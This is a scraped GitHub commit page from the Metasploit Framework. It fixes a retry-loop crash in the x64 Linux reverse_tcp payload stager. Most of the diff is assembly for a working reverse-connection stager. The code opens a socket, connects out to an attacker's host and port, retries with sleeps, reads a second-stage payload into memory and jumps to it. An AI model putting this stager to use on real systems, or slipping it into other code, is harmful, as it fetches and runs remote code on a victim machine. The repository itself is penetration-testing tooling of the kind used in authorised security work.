Skip to content

Commit 5f01b6a

Browse files
committed
Land rapid7#9977, fix crash during x64 linux reverse_tcp stager retry
2 parents de70a59 + 4216d06 commit 5f01b6a

File tree

2 files changed

+17
-15
lines changed

2 files changed

+17
-15
lines changed

lib/msf/core/payload/linux/x64/reverse_tcp.rb

Lines changed: 16 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -107,8 +107,6 @@ def asm_reverse_tcp(opts={})
107107
108108
push #{retry_count} ; retry counter
109109
pop r9
110-
111-
create_socket:
112110
push rsi
113111
push rax
114112
push 0x29
@@ -122,8 +120,9 @@ def asm_reverse_tcp(opts={})
122120
test rax, rax
123121
js failed
124122
125-
connect:
126123
xchg rdi, rax
124+
125+
connect:
127126
mov rcx, 0x#{encoded_host}#{encoded_port}
128127
push rcx
129128
mov rsi, rsp
@@ -132,39 +131,42 @@ def asm_reverse_tcp(opts={})
132131
push 0x2a
133132
pop rax
134133
syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16)
134+
pop rcx
135135
test rax, rax
136136
jns recv
137137
138138
handle_failure:
139139
dec r9
140140
jz failed
141+
push rdi
141142
push 0x23
142143
pop rax
143144
push 0x#{sleep_nanoseconds.to_s(16)}
144145
push 0x#{sleep_seconds.to_s(16)}
145146
mov rdi, rsp
146147
xor rsi, rsi
147148
syscall ; sys_nanosleep
148-
test rax, rax
149-
jns create_socket
150-
jmp failed
151-
152-
recv:
153149
pop rcx
154-
pop rsi
155-
pop rdx
156-
syscall ; read(3, "", 4096)
150+
pop rcx
151+
pop rdi
157152
test rax, rax
158-
js failed
159-
160-
jmp rsi ; to stage
153+
jns connect
161154
162155
failed:
163156
push 0x3c
164157
pop rax
165158
push 0x1
166159
pop rdi
167160
syscall ; exit(1)
161+
162+
recv:
163+
pop rsi
164+
pop rdx
165+
syscall ; read(3, "", 4096)
166+
test rax, rax
167+
js failed
168+
169+
jmp rsi ; to stage
168170
^
169171

170172
asm

modules/payloads/stagers/linux/x64/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
module MetasploitModule
1010

11-
CachedSize = 127
11+
CachedSize = 129
1212

1313
include Msf::Payload::Stager
1414
include Msf::Payload::Linux::ReverseTcp_x64

0 commit comments

Comments
 (0)